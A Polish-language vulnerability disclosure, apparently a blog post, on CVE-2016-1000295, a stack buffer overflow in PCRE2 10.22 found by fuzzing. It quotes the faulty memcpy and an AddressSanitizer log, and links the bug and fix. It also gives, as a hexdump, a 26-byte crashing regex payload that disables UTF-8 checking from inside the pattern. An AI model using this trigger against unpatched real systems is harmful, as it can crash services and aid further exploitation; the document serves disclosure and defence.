[CVE-2016-1000295] PCRE2 10.22 – Stack Buffer Overflow

Słowo wstępu

Bardzo podoba mi się opis projektu – poza opisaniem funkcjonalności, odpowiada również na pytanie dlaczego jest to bardzo interesujący cel fuzzingu:

The PCRE library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5. PCRE has its own native API, as well as a set of wrapper functions that correspond to the POSIX regular expression API. The PCRE library is free, even for building proprietary software.

PCRE was originally written for the Exim MTA, but is now used by many high-profile open source projects, including Apache, PHP, KDE, Postfix, Analog, and Nmap. PCRE has also found its way into some well known commercial products, like Apple Safari. Some other interesting projects using PCRE include Chicken, Ferite, Onyx, Hypermail, Leafnode, Askemos, Wenlin, and 8th.

Krótki opis podatności

Podatność znajduje się w wersji 10.22 opublikowanej 29. lipca 2016 roku.

Głównym problemem było zachowanie parsera wyrażeń regularnych po wyłączeniu walidacji UTF-8 (wtedy następuje założenie, że regex będzie w UTF-8). Bardzo ciekawe jest, że walidację tę można wyłączyć w payloadzie, co powoduje, że jesteśmy w stanie zawsze “zatriggerować” podatny tryb działania.

Do przepełnienia bufora prowadziło złe obliczenie długości kopiowanych bajtów (niezgodnych z UTF-8) do bufora o nazwie utf_units.

Poniżej podatny fragment kodu w pliku pcre2_compile.c:

if (utf && NOT_FIRSTCU(code[-1])) 
{
    PCRE2_UCHAR *lastchar = code - 1;
    BACKCHAR(lastchar);
    c = (int)(code - lastchar);               /* Length of UTF character */
    memcpy(utf_units, lastchar, CU2BYTES(c)); /* BADUM TSS! */
    c |= UTF_LENGTH;                          /* Flag c as a length */
}

Problem powodowało poniższe 26 bajtów – widać wyraźnie wyłączenie walidacji UTF-8, jak również “oblanie” testu zgodności z tym kodowaniem.

Payload wraz z testem:

# hexdump -C bufover_1_min 
00000000  2f d4 83 a4 9c a4 9c b0  3f 2f 6e 6f 5f 75 74 66  |/.......?/no_utf|
00000010  5f 63 68 65 63 6b 2c 75  74 66                    |_check,utf|
0000001a
# LC_ALL=C  iconv -f utf-8 -t utf-8 < bufover_1_min 
/ԃiconv: illegal input sequence at position 3

Log z ASAN:

==19226==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc935e5fa6 at pc 0x0000004a1da4 bp 0x7ffc935e5e90 sp 0x7ffc935e5640
WRITE of size 7 at 0x7ffc935e5fa6 thread T0
    #0 0x4a1da3 in __asan_memcpy /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:413:3
    #1 0x7f8dbbadc514 in compile_branch XYZ/pcre2_compile.c:5211:9
    #2 0x7f8dbbad125b in compile_regex XYZ/pcre2_compile.c:7687:8
    #3 0x7f8dbbac9ccb in pcre2_compile_8 XYZ/pcre2_compile.c:8657:7
    #4 0x4f0e2c in process_pattern XYZ/pcre2test.c:4949:1
    #5 0x4e8333 in main XYZ/pcre2test.c:7607:10
    #6 0x7f8dba9c782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x41a828 in _start (/usr/local/bin/pcre2test+0x41a828)

Address 0x7ffc935e5fa6 is located in stack of thread T0 at offset 262 in frame
    #0 0x7f8dbbad6a6f in compile_branch XYZ/pcre2_compile.c:3861

  This frame has 28 object(s):
    [32, 36) 'repeat_min'
    [48, 52) 'repeat_max'
    [64, 72) 'length_prevgroup'
    [96, 104) 'tempcode'
    [128, 136) 'ptr'
    [160, 168) 'tempptr'
    [192, 224) 'classbits'
    [256, 262) 'utf_units' <== Memory access at offset 262 overflows this variable
    [288, 296) 'class_uchardata'
    [320, 324) 'ec'
    [336, 340) 'subreqcu'
    [352, 356) 'subfirstcu'
    [368, 372) 'subreqcuflags'
    [384, 388) 'subfirstcuflags'
    [400, 408) 'mcbuffer'
    [432, 464) 'pbits'
    [496, 500) 'negated'
    [512, 516) 'ptype664'
    [528, 532) 'pdata'
    [544, 548) 'd'
    [560, 564) 'count'
    [576, 584) 'arg'
    [608, 616) 'memcode'
    [640, 644) 'set'
    [656, 660) 'unset'
    [672, 676) 'negated3050'
    [688, 692) 'ptype3051'
    [704, 708) 'pdata3052'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:413:3 in __asan_memcpy
Shadow bytes around the buggy address:
  0x1000126b4ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000126b4bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000126b4bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000126b4bd0: 00 00 00 00 f1 f1 f1 f1 04 f2 04 f2 00 f2 f2 f2
  0x1000126b4be0: 00 f2 f2 f2 00 f2 f2 f2 00 f2 f2 f2 00 00 00 00
=>0x1000126b4bf0: f2 f2 f2 f2[06]f2 f2 f2 00 f2 f2 f2 04 f2 04 f2
  0x1000126b4c00: 04 f2 04 f2 04 f2 00 f2 f2 f2 00 00 00 00 f2 f2
  0x1000126b4c10: f2 f2 04 f2 04 f2 04 f2 04 f2 04 f2 00 f2 f2 f2
  0x1000126b4c20: 00 f2 f2 f2 04 f2 04 f2 04 f2 04 f2 04 f3 f3 f3
  0x1000126b4c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000126b4c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Bug #1889 w bugzilli projektu PCRE

Commit naprawiający (SVN Rev: 555)

CVE: CVE-2016-1000295